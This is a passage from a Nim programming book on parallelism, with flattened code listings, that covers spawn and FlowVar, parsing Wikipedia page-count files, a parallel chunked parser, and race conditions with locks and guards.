The sync procedure waits for all spawned procedures to finish. Licensed to <null> 158 CHAPTER 6 Parallelism Save the code in listing 6.7 as listing4.nim, and then compile and run it. Keep in mind that the --threads:on flag still needs to be specified. The output should be mostly the same as the output shown in listings 6.5 and 6.6. Procedures executed using spawn also have to be GC safe. RETRIEVING RETURN VALUES FROM THE FLOWVAR TYPE Let’s look at an example that shows how to retrieve the return values from a spawned procedure. This involves dealing with the FlowVar[T] type. FlowVar[T] can be thought of as a container similar to the Future[T] type, which you used in chapter 3. At first, the container has nothing inside it. When the spawned procedure is executed in a separate thread, it returns a value sometime in the future. When that happens, the returned value is put into the FlowVar container. The following listing shows the readLine procedure from chapter 3, which uses a while loop to read text from the terminal without blocking. import threadpool, os let lineFlowVar = spawn stdin.readLine() while not lineFlowVar.isReady: echo("No input received.") echo("Will check again in 3 seconds.") sleep(3000) echo("Input received: ", ^lineFlowVar) Save listing 6.8 as listing5.nim, and then compile and run it. The application will wait until you enter some input into the terminal. It will check for input every 3 seconds. Using the FlowVar type is straightforward. You can read the value inside it with the ^ operator, but this operator will block the thread it’s used in until the FlowVar it’s called on contains a value. You can check whether a FlowVar contains a value by using the isReady procedure. Listing 6.8 checks whether the lineFlowVar variable contains a value periodically, every 3 seconds. Keep in mind that listing 6.8 is meant to demonstrate how the FlowVar[T] works. It’s not meant to be very practical, because the program will only check for input every 3 seconds. In this example, you could just as well call readLine on the main thread, since there’s nothing else running on it. A more realistic example might replace the Listing 6.8 Reading input from the terminal with spawn The threadpool module is necessary for spawn. The os module defines the sleep procedure. Adds the readLine procedure to the thread pool. spawn will return a FlowVar[string] type that will be assigned to the lineFlowVar variable. Loops until lineFlowVar contains the string value returned by readLine Displays some status messages about what the program is doing Suspends the main thread for 3 seconds; sleep’s parameter is in ms When the loop finishes, lineFlowVar can be read immediately using the ^ operator. This line displays the input that was read by readLine. Licensed to <null> 159 Parsing data sleep(3000) statement with another procedure that does some useful work on the main thread. For example, you might draw your application’s user interface or call the asynchronous I/O event loop’s poll procedure, as in chapter 3. 6.2.3 Exceptions in threads The ways exceptions behave in separate threads may be surprising. When a thread crashes with an unhandled exception, the application will crash with it. It doesn’t mat- ter whether you read the value of the FlowVar or not. FUTURE VERSIONS This behavior will change in a future version of Nim, so that exceptions aren’t raised unless you read the value of the FlowVar. The following listing shows this behavior in action. import threadpool proc crash(): string = raise newException(Exception, "Crash") let lineFlowVar = spawn crash() sync() Save listing 6.9 as listing6.nim, and then compile and run it. You should see a trace- back in the output pointing you to the raise statement in the crash procedure. THE RAISES PRAGMA The raises pragma can be used to ensure that your threads handle all exceptions. To make use of it, you can define the crash procedure like so: proc crash(): string {.raises: [].} = … . This will mark the crash procedure as raising no exceptions. Exceptions that are allowed to be raised by the procedure can be specified in the square brackets. In summary, the simplicity of both passing arguments to a spawned procedure and receiving the procedure’s result makes spawn good for tasks that have a relatively short runtime. Such tasks typically produce results at the end of their execution, and as such don’t need to communicate with other threads until their execution stops. For long-running tasks that need to communicate with other threads periodically, the createThread procedure defined in the threads module should be used instead. 6.3 Parsing data Now that you know how to use threads in Nim, let’s look at a practical example of how they can be used. The example in this section involves parsers and shows a practical use case involving Nim’s concurrency and parallelism features. A lot of data is generated every day from many different sources and intended for many different applications. Computers are very useful tools for processing this data, but in order for that data to be consumed, the computers must understand the format the data is stored in. Listing 6.9 Exceptions in a spawned procedure Licensed to <null> 160 CHAPTER 6 Parallelism A parser is a software component that takes data as input and builds a data structure out of it. The input data is typically in the form of text. In chapter 3, you looked at the JSON data format and at how it was parsed, using the json module, into a data struc- ture that could then be queried for specific information. There often comes a time when you need to write a custom parser for a simple data format. There are many ways such a task can be tackled in Nim. In this section, I’ll show you how to write a parser for Wikipedia’s page-view data.2 This data is useful for many different applications, but in this section we’ll create an application that will find the most popular page in the English Wikipedia. In the pro- cess, you’ll do the following:  Learn the structure and format of the Wikipedia page-counts files  Use different techniques to write a parser for the page-counts format  Read large files by breaking them up into conveniently sized chunks or fragments WIKIPEDIA API Wikipedia recently introduced a Pageview API (https://wikitech .wikimedia.org/wiki/Analytics/PageviewAPI) that supplements the raw page- view data and makes finding the most popular page in the English Wikipedia much easier. If you’re writing an application that needs to find the most popular pages on Wikipedia, you may want to use the API instead. Parsing the raw data manually is less efficient, but you’ll find the example applicable to other tasks. At the end of this section, I’ll also show you how to parallelize the parser, allowing it to perform better on systems with multicore CPUs. 6.3.1 Understanding the Wikipedia page-counts format The raw page-count data can be downloaded from Wikipedia here: https://dumps .wikimedia.org/other/pagecounts-all-sites/. The data files are organized into specific years and months. For example, the page- count data for January 2016 is available at https://dumps.wikimedia.org/other/ pagecounts-all-sites/2016/2016-01/. The data is then further subdivided into days and hours. Each file at the preceding URL represents the visitors within a single hour. The files are all gzipped to reduce their size. Download the following file and then extract it: https://dumps.wikimedia .org/other/pagecounts-all-sites/2016/2016-01/pagecounts-20160101-050000.gz. FOR WINDOWS USERS On Windows, you may need to install 7-Zip or another application for extracting gzipped archives. The file may take a while to download, depending on your internet speed. It’s around 92 MB before extraction, and around 428 MB after extraction, so it’s a fairly large file. The parser will need to be efficient to parse that file in a timely manner. 2 https://wikitech.wikimedia.org/wiki/Analytics/Data/Pagecounts-all-sites. Licensed to <null> 161 Parsing data The file is filled with lines of text separated by newline characters. Each line of text consists of the following four fields separated by spaces: domain_code page_title count_views total_response_size domain_code contains an abbreviated domain name; for example, en.wikipedia.org is abbreviated as en. page_title contains the title of the page requested; for example, Dublin for http://en.wikipedia.org/wiki/Dublin. count_views contains the number of times the page has been viewed within the hour. Finally, total_response_size is the number of bytes that have been transferred due to requests for that page. For example, consider the following line: en Nim_(programming_language) 1 70231 This means that there was one request to http://en.wikipedia.org/wiki/Nim_(pro- gramming_language) that accounted in total for 70,231 response bytes. The file I asked you to download is one of the smaller files from January 2016. It contains data about the Wikipedia pages visited from January 1, 2016, 4:00 a.m. UTC, to January 1, 2016, 5:00 a.m. UTC. 6.3.2 Parsing the Wikipedia page-counts format There are many different options when it comes to parsing the page-counts format. I’ll show you how to implement a parser using three different methods: regular expressions, the split procedure, and the parseutils module. PARSING USING REGULAR EXPRESSIONS A common way to parse data is using regular expressions (regexes), and if you’ve ever dealt with string processing in any way, you’ve likely come across them. Regular expressions are very popular, and often when developers need to parse a string, they immediately jump to using regular expressions. Regular expressions are by no means a magical solution to every parsing problem. For example, writing a regular expression to parse arbitrary HTML is virtually impossi- ble.3 But for parsing a simple data format like the Wikipedia page-counts format, reg- ular expressions work well. LEARNING ABOUT REGULAR EXPRESSIONS Explaining regular expressions in depth is beyond the scope of this chapter. If you aren’t familiar with them, I encourage you to read up on them online. Regular expressions are supported in Nim via the re module. It defines procedures and types for using regular expressions to parse and manipulate strings. WARNING: EXTERNAL DEPENDENCY The re module is an impure module, which means it depends on an external C library. In re’s case, the C library is called PCRE, and it must be installed alongside your application for your application to function properly. 3 That doesn’t stop people from trying: http://stackoverflow.com/questions/1732348/regex-match-open-tags- except-xhtml-self-contained-tags. Licensed to <null> 162 CHAPTER 6 Parallelism Let’s focus on parsing a single line first. The following listing shows how you can do that with the re module. import re let pattern = re"([^\s]+)\s([^\s]+)\s(\d+)\s(\d+)" var line = "en Nim_(programming_language) 1 70231" var matches: array[4, string] let start = find(line, pattern, matches) doAssert start == 0 doAssert matches[0] == "en" doAssert matches[1] == "Nim_(programming_language)" doAssert matches[2] == "1" doAssert matches[3] == "70231" echo("Parsed successfully!") WARNING: THE RE CONSTRUCTOR Constructing a regular expression is an expensive operation. When you’re performing multiple regex matches with the same regular expression, make sure you reuse the value returned by the re constructor. Save listing 6.10 as listing7.nim, and then compile and run it. The program should compile and run successfully, displaying “Parsed successfully!” PCRE PROBLEMS If the program exits with an error similar to could not load: pcre.dll, you’re missing the PCRE library and must install it. The code for parsing strings with regular expressions is straightforward. As long as you know how to create regular expressions, you should have no trouble using it. The re module also includes other procedures for parsing and manipulating strings. For example, you can replace matched substrings using the replace proce- dure. Take a look at the documentation for the re module for more information (http://nim-lang.org/docs/re.html). PARSING THE DATA MANUALLY USING SPLIT You can also parse data manually in many different ways. This approach provides mul- tiple advantages but also a few disadvantages. The biggest advantage over using regu- lar expressions is that your application will have no dependency on the PCRE library. Manual parsing also makes it easier to control the parsing process. In some cases, the biggest disadvantage is that it takes more code to parse data manually. Listing 6.10 Parsing data with the re module A new regex pattern is constructed using the re constructor. This matches array will hold the matched substrings of line. The re module defines the find procedure. The find procedure is used to find matching substrings as specified by the subgroups in the regex. The substrings are put into the matches array. The return value indicates the starting position of the matching string; -1 is returned if no match was made. The first matching group will capture the substring "en", followed by the second matching group, which will capture "Nim_(programming_language)", and so on. Licensed to <null> 163 Parsing data For such a simple data format as the Wikipedia page-counts format, you can use the split procedure defined in the strutils module. The following listing shows how split can be used to parse “en Nim_(programming_language) 1 70231.” import strutils var line = "en Nim_(programming_language) 1 70231" var matches = line.split() doAssert matches[0] == "en" doAssert matches[1] == "Nim_(programming_language)" doAssert matches[2] == "1" doAssert matches[3] == "70231" This solution will work very well for this use case, but for more-complex data formats, you may want a solution that’s more flexible. The most flexible way to parse a string is to iterate over every character in that string using a while loop. This method of pars- ing is very verbose, but it’s useful in certain circumstances, such as when parsing more- complex data formats like HTML. Nim’s parseutils module defines procedures that make parsing using such methods much easier. PARSING DATA MANUALLY USING PARSEUTILS The following listing shows how the parseutils module can be used to parse “en Nim_(programming_language) 1 70231.” import parseutils var line = "en Nim_(programming_language) 1 70231" var i = 0 var domainCode = "" i.inc parseUntil(line, domainCode, {' '}, i) i.inc var pageTitle = "" i.inc parseUntil(line, pageTitle, {' '}, i) i.inc var countViews = 0 i.inc parseInt(line, countViews, i) i.inc var totalSize = 0 i.inc parseInt(line, totalSize, i) Listing 6.11 Parsing using split Listing 6.12 Parsing using parseutils The strutils module defines the split procedure. By default, the split procedure splits the string when it finds whitespace. The returned sequence will be @["en", "Nim_(programming_language)", "1", "70231"]. The contents of the resulting matches variable are the same as in listing 6.10. Imports parseutils, which defines parseUntil Defines a counter to keep track of the program’s current position in the string Copies characters starting at index i from the line string to the string specified in the second argument, until line[i] == ' '. The returned value is the number of characters captured, and it’s used to increment i. Parses an int starting at index i in the line string. The parsed int is stored in the second argument. The returned value is the number of characters captured. Defines a string or int variable where the parsed token will be stored Skips whitespace character by simply incrementing i Licensed to <null> 164 CHAPTER 6 Parallelism doAssert domainCode == "en" doAssert pageTitle == "Nim_(programming_language)" doAssert countViews == 1 doAssert totalSize == 70231 The code in listing 6.12 is far more complex than the previous listing, but it allows for far greater flexibility. The parseutils module also defines many other procedures that are useful for parsing. They’re mostly convenience wrappers over a while loop. For example, the equivalent code for i.inc parseUntil(line, domainCode, {' '}, i) is the following: while line[i] != ' ': domainCode.add(line[i]) i.inc Because of the flexibility of this parser, the code can parse the last two fields into inte- gers in a single step. That’s instead of having to first separate the fields and then parse the integer, which is inefficient. In summary, the split procedure is the simplest approach, but it’s slower than parseutils because it needs to create a sequence and new strings to hold the matches. In comparison, the parsing code that uses parseutils only needs to create two new strings and two new integers; there’s no overhead associated with the creation of a sequence. The regex parsing code is also simpler than parseutils, but it suffers from the PCRE dependency and is also slower than the parseutils parser. This makes the parseutils parser the best solution for this use case, even though it’s slightly more complex and significantly more verbose. Its speed will come in handy when parsing the 7,156,099 lines in the pagecounts-20160101-050000 file. 6.3.3 Processing each line of a file efficiently The Wikipedia page-counts files are large. Each measures around 500 MB and contains around 10 million lines of data. The pagecounts-20160101-050000 file that I asked you to download measures 428 MB and contains 7,156,099 lines of page-count data. In order to parse this file efficiently, you’ll need to consume the file in fragments. Reading the full file into your program’s memory would consume at least 428 MB of RAM, and the actual consumption would likely be far larger due to various overheads. That’s why it’s a good idea to read large files by breaking them up into conveniently sized, smaller fragments, otherwise known as chunks. USING AN ITERATOR TO READ A FILE IN FRAGMENTS Nim defines an iterator called lines that iterates over each line in a file. This iterator doesn’t need to copy the full file’s contents into the program’s memory, which makes it very efficient. The lines iterator is defined in the system module. The following listing shows how the lines iterator can be used to read lines from the pagecounts-20160101-050000 file. Licensed to <null> 165 Parsing data import os proc readPageCounts(filename: string) = for line in filename.lines: echo(line) when isMainModule: const file = "pagecounts-20160101-050000" let filename = getCurrentDir() / file readPageCounts(filename) Save listing 6.13 as sequential_counts.nim, and then compile and run it. The program will take around a minute to execute because it will display each line of the page- counts file. You may terminate it by pressing Ctrl-C. As it runs, you can observe the memory usage, which should remain low. PARSING EACH LINE You can now add the parsing code from listing 6.12 to the code in listing 6.13. Listing 6.14 shows how the parser can be integrated into listing 6.13, with the changes high- lighted in bold. import os, parseutils proc parse(line: string, domainCode, pageTitle: var string, countViews, totalSize: var int) = var i = 0 domainCode.setLen(0) i.inc parseUntil(line, domainCode, {' '}, i) i.inc pageTitle.setLen(0) i.inc parseUntil(line, pageTitle, {' '}, i) i.inc countViews = 0 i.inc parseInt(line, countViews, i) i.inc totalSize = 0 i.inc parseInt(line, totalSize, i) proc readPageCounts(filename: string) = var domainCode = "" var pageTitle = "" Listing 6.13 Iterating over each line in a file Listing 6.14 Parsing each line in a file The os module defines the getCurrentDir procedure. Defines a readPageCounts procedure that takes the filename of the page- counts file as an argument Iterates through each line in the file located at filename using the lines iterator Displays each line that was read Defines a file constant and assigns it the name of the page-counts file Checks whether this module is being compiled as the main module Defines a filename variable and assigns it the path of the program’s current working directory joined with file. The / operator is defined in the os module and is used to concatenate file paths. Calls the readPageCounts procedure and passes the value of the filename variable as an argument The variables in which the parsed tokens are stored are passed by reference. This is efficient because new strings don’t have to be allocated for each call to parse. The length of the string is reset to 0. This is much more efficient than assigning "" because setLen reuses memory instead of allocating new strings. The integer variables are simply reset to 0. Licensed to <null> 166 CHAPTER 6 Parallelism var countViews = 0 var totalSize = 0 for line in filename.lines: parse(line, domainCode, pageTitle, countViews, totalSize) echo("Title: ", pageTitle) when isMainModule: const file = "pagecounts-20160101-050000" let filename = getCurrentDir() / file readPageCounts(filename) Replace the code in sequential_counts.nim with the code in listing 6.14. The follow- ing listing shows what some of the output from sequential_counts.nim may look like. ... Title: List_of_digital_terrestrial_television_channels_(UK) Title: List_of_diglossic_regions Title: List_of_dignitaries_at_the_state_funeral_of_John_F._Kennedy Title: List_of_dimensionless_quantities Title: List_of_diners Title: List_of_dinosaur_genera Title: List_of_dinosaur_specimens_with_nicknames Title: List_of_dinosaurs ... The code in listing 6.14 employs a number of optimizations. First, the biggest slow- downs in Nim applications are often caused by too many variables being allocated and deallocated. The parse procedure could return the parsed tokens, but that would result in a new string being allocated for each iteration. Instead, the parse procedure here accepts a mutable reference to two strings and two ints, which it then fills with the parsed tokens. A file that takes 9.3 seconds to parse without this optimization takes 7.8 seconds to parse with the optimization. That’s a difference of 1.5 seconds. The use of setLen is another optimization. It ensures that the string isn’t reallo- cated but is instead reused. The parse procedure is executed at least 7 million times, so a tiny optimization creates massive gains in total execution speed. FINDING THE MOST POPULAR ARTICLE Now that the parsing code has been introduced, all that’s left is to find the most pop- ular article on the English Wikipedia. The following listing shows the finished sequential_counts application with the latest changes shown in bold. import os, parseutils proc parse(line: string, domainCode, pageTitle: var string, countViews, totalSize: var int) = var i = 0 Listing 6.15 The output of sequential_counts.nim Listing 6.16 The finished sequential_counts.nim Calls the parse procedure and passes it the current line together with variables where tokens can be stored Displays the title of each page that was found in the page-counts file Licensed to <null> 167 Parsing data domainCode.setLen(0) i.inc parseUntil(line, domainCode, {' '}, i) i.inc pageTitle.setLen(0) i.inc parseUntil(line, pageTitle, {' '}, i) i.inc countViews = 0 i.inc parseInt(line, countViews, i) i.inc totalSize = 0 i.inc parseInt(line, totalSize, i) proc readPageCounts(filename: string) = var domainCode = "" var pageTitle = "" var countViews = 0 var totalSize = 0 var mostPopular = ("", "", 0, 0) for line in filename.lines: parse(line, domainCode, pageTitle, countViews, totalSize) if domainCode == "en" and countViews > mostPopular[2]: mostPopular = (domainCode, pageTitle, countViews, totalSize) echo("Most popular is: ", mostPopular) when isMainModule: const file = "pagecounts-20160101-050000" let filename = getCurrentDir() / file readPageCounts(filename) WARNING: RELEASE MODE Ensure that you compile sequential_counts.nim in release mode by passing the -d:release flag to the Nim compiler. Without that flag, the execution time of the application will be significantly longer. Replace the contents of sequential_counts.nim with the code in listing 6.16, and then compile it in release mode and run it. After a few seconds, you should see output sim- ilar to the following. Most popular is: (Field0: en, Field1: Main_Page, Field2: 271165, Field3: 4791 147476) The most popular page in the English Wikipedia is in fact the main page! This makes a lot of sense, and although it’s obvious in hindsight, it’s trivial to edit the code you’ve written to find more-interesting statistics. I challenge you to edit sequential_counts .nim and play around with the data. You can try finding the top-10 most popular pages in the English Wikipedia, or you can download different page-counts files and com- pare the results. You should now have a good understanding of how you can parse data effectively. You’ve learned what bottlenecks you should look out for in your Nim applications and how to fix them. The next step is to parallelize this parser so that its execution time is even lower on multicore CPUs. Listing 6.17 Output for sequential_counts.nim Defines a tuple to store the four parsed fields for the most popular page Checks whether the current line contains information about a page from the English Wikipedia and whether its view count is greater than that of the currently most popular page If it’s greater, saves it as the new most popular page Licensed to <null> 168 CHAPTER 6 Parallelism 6.4 Parallelizing a parser In order for the program to be parallel, it must make use of threads. As mentioned previously, there are two ways that threads can be created in Nim: using the threads module, or using the threadpool module. Both will work, but the threadpool mod- ule is more appropriate for this program. 6.4.1 Measuring the execution time of sequential_counts Before we parallelize the code, let’s measure how long sequential_counts takes to execute. This can be done very easily on UNIX-like OSs by using the time command. Exe- cuting time ./sequential_counts should output the execution time of sequential_ counts.nim. On a MacBook Pro with an SSD and a dual-core 2.7 GHz Intel Core i5 CPU, which includes hyperthreading, the execution time is about 2.8 seconds. On Windows, you’ll need to open a new Windows PowerShell window, and then use the Measure-Command command to measure the execution time. Executing Measure-Command {./sequential_counts.exe} should output the execution time. The program currently runs in a single thread and is very CPU-intensive. This means its speed can be significantly improved by making it parallel. 6.4.2 Parallelizing sequential_counts Create a new parallel_counts.nim file. This is the file that we’ll populate with code from now on. How can the threadpool module be used to parallelize this code? You may be tempted to spawn the parse procedure, but this won’t work because it needs var parameters that can’t safely be passed to a spawned procedure. It also wouldn’t help much, because a single call to parse is relatively quick. Before you can parallelize this code, you must first change the way that the page- counts file is read. Instead of reading each line separately, you need to read the file in larger fragments. But what size fragment should you read? Consider the following scenario. The page-counts file begins with the following lines: en Main_Page 123 1234567 en Nim_(programming_language) 100 12415551 If the fragment size is so small that only "en Main_Page" is read, the program will fail because the size of the fragment is insufficient. Alternatively, a fragment might contain valid data at the start, but it may end with a line that was not fully read, such as "en Main_Page 123 1234567\nen Nim_". This data will need to be split after every newline ("\n"), and each line will need to be parsed separately. The last line in this example will lead to an error, because it’s not complete. A solution is to find where the last line ends, and then defer parsing the line that hasn’t been fully read until the next time a fragment of the file is read. Licensed to <null> 169 Parallelizing a parser Here’s how parallel_counts.nim should work:  Instead of reading lines, a large fragment of text should be read.  A new procedure called parseChunk should be created.  The parseChunk procedure should receive a fragment of text, go through each line, and pass the line to the parse procedure.  At the same time, it should check which of the parsed pages are the most popular.  The parseChunk procedure should be spawned. A slice of the fragment should be passed to parseChunk, and the slice should not contain any incomplete lines.  The incomplete line should be saved. Once the next fragment is read, the incomplete line should be prepended to the newly read fragment. TERMINOLOGY The term chunk is synonymous with the term fragment, and throughout this chapter both will be used interchangeably. A slice means a subset of the full data, such as a substring. Listings 6.18, 6.19, and 6.20 show different sections of a parallel_counts.nim file that implements this solution. 6.4.3 Type definitions and the parse procedure Listing 6.18 starts with the top section of the file, which is not much different from the sequential version. This section includes the import statement, some new type defini- tions, and the original parse procedure. A new Stats type is defined to store page- count statistics about a specific page; this type will be used to store the most popular page in each spawned procedure. The Stats type will be returned from the spawned procedure, so it must be a ref type because spawn currently can’t spawn procedures that return custom value types. A new procedure called newStats is also defined, which constructs a new empty Stats object. There’s also the definition of $, which converts a Stats type to a string. import os, parseutils, threadpool, strutils type Stats = ref object domainCode, pageTitle: string countViews, totalSize: int proc newStats(): Stats = Stats(domainCode: "", pageTitle: "", countViews: 0, totalSize: 0) Listing 6.18 The top section of parallel_counts.nim The threadpool module is required for spawn, and the strutils module is required for the % operator. Defines a new Stats type that will hold information about a page’s statistics. The type has to be defined as a ref because a procedure that returns a non-ref type can’t be spawned. The Stats type defines fields for each of the parsed tokens. Defines a new procedure called newStats that acts as a constructor for the Stats type Licensed to <null> 170 CHAPTER 6 Parallelism proc `$`(stats: Stats): string = "(domainCode: $#, pageTitle: $#, countViews: $#, totalSize: $#)" % [ stats.domainCode, stats.pageTitle, $stats.countViews, $stats.totalSize ] proc parse(line: string, domainCode, pageTitle: var string, countViews, totalSize: var int) = if line.len == 0: return var i = 0 domainCode.setLen(0) i.inc parseUntil(line, domainCode, {' '}, i) i.inc pageTitle.setLen(0) i.inc parseUntil(line, pageTitle, {' '}, i) i.inc countViews = 0 i.inc parseInt(line, countViews, i) i.inc totalSize = 0 i.inc parseInt(line, totalSize, i) 6.4.4 The parseChunk procedure Listing 6.19 shows the middle section of the parallel_counts.nim file. It defines a new procedure called parseChunk, which takes a string parameter called chunk and returns the most popular English Wikipedia page in that fragment. The fragment con- sists of multiple lines of page-count data. The procedure begins by initializing the result variable; the return type is a ref type that must be initialized so that it’s not nil. The rest of the procedure is similar to the readPageCounts procedure in the sequential_counts.nim file. It defines four vari- ables to store the parsed tokens, and then it iterates through the lines in the chunk using the splitLines iterator, and parses each of the lines. proc parseChunk(chunk: string): Stats = result = newStats() var domainCode = "" var pageTitle = "" var countViews = 0 var totalSize = 0 for line in splitLines(chunk): parse(line, domainCode, pageTitle, countViews, totalSize) if domainCode == "en" and countViews > result.countViews: result = Stats(domainCode: domainCode, pageTitle: pageTitle, countViews: countViews, totalSize: totalSize) Listing 6.19 The middle section of parallel_counts.nim Defines a $ operator for the Stats type so that it can be converted to a string easily. In practice, this means that echo can display it. The parse procedure is the same. The parseChunk procedure is very similar to the readPageCounts procedure in sequential_counts.nim. Initializes the result variable with a new value of the Stats type Creates variables to store the parsed tokens. Iterates over every line in chunk Calls the parse procedure on each line inside the chunk to parse into the 4 fields: domainCode, pageTitle, countViews, and totalSize Checks if the parsed page is in the English Wikipedia and whether it got more views than the page stored in result If that’s the case, result is assigned the parsed page. Licensed to <null> 171 Parallelizing a parser 6.4.5 The parallel readPageCounts procedure Listing 6.20 shows the readPageCounts procedure, which has been modified signifi- cantly since the last time you saw it in listing 6.16. It now takes an optional parameter called chunkSize that determines how many characters it should read each iteration. But the procedure’s implementation is what differs most. The file is opened manually using the open procedure, followed by definitions of variables required to properly store the results of the fragment-reading process. The fragment-reading process is complicated by the fact that the code needs to keep track of unfinished lines. It does so by moving backwards through the contents of buffer, which stores the fragment temporarily, until it finds a newline character. The buffer string is then sliced from the start of the fragment to the end of the last full line in the fragment. The resulting slice is then passed to the parseChunk proce- dure, which is spawned in a new thread using spawn. The end of the fragment that hasn’t yet been parsed is then moved to the beginning of the buffer. In the next iteration, the length of the characters that will be read will be chunkSize minus the length of the buffer that wasn’t parsed in the last iteration. proc readPageCounts(filename: string, chunkSize = 1_000_000) = var file = open(filename) var responses = newSeq[FlowVar[Stats]]() var buffer = newString(chunkSize) var oldBufferLen = 0 while not endOfFile(file): let reqSize = chunksize - oldBufferLen let readSize = file.readChars(buffer, oldBufferLen, reqSize) + oldBufferLen var chunkLen = readSize while chunkLen >= 0 and buffer[chunkLen - 1] notin NewLines: chunkLen.dec Listing 6.20 The last section of parallel_counts.nim The open procedure is now used to open a file. It returns a File object that’s stored in the file variable. The readPageCounts procedure now includes a chunkSize parameter with a default value of 1_000_000. The underscores help readability and are ignored by Nim. Defines a new buffer string of length equal to chunkSize. Fragments will be stored here. Defines a new responses sequence to hold the FlowVar objects that will be returned by spawn Defines a variable to store the length of the last buffer that wasn’t parsed Loops until the full file is read Calculates the number of characters that need to be read Uses the readChars procedure to read the reqSize number of characters. This procedure will place the characters that it reads starting at oldBufferLen, which will ensure that the old buffer isn’t overwritten. The oldBufferLen is added because that’s the length of the old buffer that was read previously. Creates a variable to store the fragment length that will be parsed Decreases the chunkLen variable until chunkLen - 1 points to any newline character Licensed to <null> 172 CHAPTER 6 Parallelism responses.add(spawn parseChunk(buffer[0 .. <chunkLen])) oldBufferLen = readSize - chunkLen buffer[0 .. <oldBufferLen] = buffer[readSize - oldBufferLen .. ^1] var mostPopular = newStats() for resp in responses: let statistic = ^resp if statistic.countViews > mostPopular.countViews: mostPopular = statistic echo("Most popular is: ", mostPopular) file.close() when isMainModule: const file = "pagecounts-20160101-050000" let filename = getCurrentDir() / file readPageCounts(filename) The parallel version is unfortunately more complex, but the complexity is mostly restricted to the readPageCounts procedure, where the algorithm for reading the file in fragments adds great complexity to the program. In terms of the line count, though, the parallel version is only about twice as long. 6.4.6 The execution time of parallel_counts Merge listings 6.18, 6.19, and 6.20 into a single parallel_counts.nim file. Then compile and run the program. Make sure you pass both the --threads:on flag as well as the -d:release flag to Nim when compiling. Measure the execution time using the tech- niques described in section 6.4.1. On a MacBook Pro with an SSD and a dual core 2.7 GHz Intel Core i5 CPU that includes hyperthreading, the execution time is about 1.2 seconds, which is less than half of the 2.8 seconds that the sequential version took to execute. That’s a consider- able difference! On UNIX-like systems, the time command allows you to verify that the parallel ver- sion is in fact parallel by looking at its CPU usage. For example, the time command out- puts ./parallel_counts 4.30s user 0.25s system 364% cpu 1.251 total, showing that parallel_counts was using 364% of the available CPU. In comparison, sequential_ counts almost always shows around 99% CPU usage. This high CPU usage percentage proves that parallel_counts is using all cores together with hyperthreading. Assigns the part of the fragment that wasn’t parsed to the beginning of buffer Creates a new thread to execute the parseChunk procedure and passes a slice of the buffer that contains a fragment that can be parsed. Adds the FlowVar[string] returned by spawn to the list of responses. Iterates through each response Blocks the main thread until the response can be read and then saves the response value in the statistics variable Checks if the most popular page in a particular fragment is more popular than the one saved in the mostPopular variable. If it is, overwrites the mostPopular variable with it. Ensures that the file object is closed Licensed to <null> 173 Dealing with race conditions Now that you’ve seen how to parallelize a parser, you should have a better idea about how to parallelize Nim code in general. The last sections of this chapter will teach you about race conditions and how to avoid them. 6.5 Dealing with race conditions You don’t typically need to worry about race conditions when writing concurrent code in Nim because of the restriction that Nim puts on GC-safe procedures: memory belonging to another thread can’t be accessed in a spawned procedure or a proce- dure marked using the {.thread.} pragma. A race condition occurs when two or more threads attempt to read and write to a shared resource at the same time. Such behavior can result in unpredictable results that often are difficult to debug. This is one of the reasons why Nim prevents the shar- ing of some resources between threads. Nim instead prefers data to be shared using alternative methods such as channels, which prevent race conditions. Sometimes these methods aren’t appropriate for certain use cases, such as when lots of data needs to be modified by the thread. Because of this, Nim also supports shared memory. Sharing memory via global variables is easy as long as you only want to share value types. Sharing reference types is much harder because you must make use of Nim’s manual memory-management procedures. WARNING: SHARED MEMORY Using shared memory is risky because it increases the chances for race conditions in your code. Also, you must man- age the memory yourself. I advise you to only use shared memory if you’re certain that it’s required and if you know what you’re doing. In future ver- sions of Nim, using shared memory will likely become safer and much easier. Listing 6.21 implements a simple program that increments the value of a global vari- able inside two threads running in parallel. The result is a race condition. import threadpool var counter = 0 proc increment(x: int) = for i in 0 .. <x: var value = counter value.inc counter = value spawn increment(10_000) spawn increment(10_000) sync() echo(counter) Listing 6.21 Race condition with shared memory The threadpool module defines the spawn procedure. Defines a global variable called counter Iterates from 0 to x-1 Defines a new local variable called value and assigns it the value of counter Increments value Sets the value of the global counter variable to the value of “value” Spawns two new threads that will call the increment procedure with 10_000 as the argument Waits until all the threads are finished Displays the value of the counter Licensed to <null> 174 CHAPTER 6 Parallelism In this example, the increment procedure is GC safe because the global variable counter it accesses is of type int, which is a value type. The increment procedure increments the global counter variable x times. The procedure is spawned twice, which means that there will be two increment procedures executing at the same time. The fact that they’re both reading, incrementing, and then writing the incremented value to the global counter variable in discrete steps means that some increments may be missed. SHARING MEMORY THAT MUST BE ALLOCATED ON THE HEAP Value types, such as integers, can exist on the stack (or in the executable’s data section if the value is stored in a global variable), but reference types such as string, seq[T] and ref T can’t. Nim supports the sharing of reference types, but it won’t manage the memory for you. This may change in a future version of Nim, but cur- rently you must use a procedure called allocShared defined in the system module to allocate shared memory manually. Save listing 6.21 as race_condition.nim, and then compile it without the -d:release flag and run it. Run it a couple of times and note the results. The results should appear random, and should almost never display the expected value of 20,000. Figure 6.5 shows what the execution of listing 6.21 looks like. Preventing race conditions is very important because whenever a bug occurs due to a race condition, it’s almost always nondeterministic. The bug will be very difficult to reproduce, and once it is reproduced, debugging it will be even harder because the mere act of doing so may cause the bug to disappear. Now that you know what race conditions are, let’s look at ways to prevent them. 6.5.1 Using guards and locks to prevent race conditions Just like most languages, Nim provides synchronization mechanisms to ensure that resources are only used by a single thread at a time. One of these mechanisms is a lock. It enforces limits on access to a resource, and it’s usually paired with a single resource. Before that resource is accessed, the lock is acquired, and after the resource is accessed, it’s released. Other threads that try to access the same resource must attempt to acquire the same lock, and if the lock has already been acquired by another thread, the acquire operation will block the thread until the lock is released. This ensures that only one thread has access to the resource. Locks work very well, but they aren’t assigned to any variables by default. They can be assigned using a guard. When a variable is guarded with a specific lock, the com- piler will ensure that the lock is locked before allowing access. Any other access will result in a compile-time error. Licensed to <null> 175 Dealing with race conditions The following listing shows how a new Lock, together with a guard, can be defined. import threadpool, locks var counterLock: Lock initLock(counterLock) var counter {.guard: counterLock.} = 0 proc increment(x: int) = for i in 0 .. <x: var value = counter value.inc counter = value Listing 6.22 Attempting to access a guarded global variable from a thread Synchronized execution Thread #1 Thread #2 Unsynchronized execution counter value = counter increment counter = value value = counter increment counter = value 0 0 1 1 1 value Executed code value Executed code 0 0 1 0 0 1 1 1 1 1 Thread #1 Thread #2 counter value = counter increment counter = value value = counter increment counter = value 0 0 1 1 1 value Executed code value Executed code 0 0 0 1 1 1 1 0 1 2 1 2 2 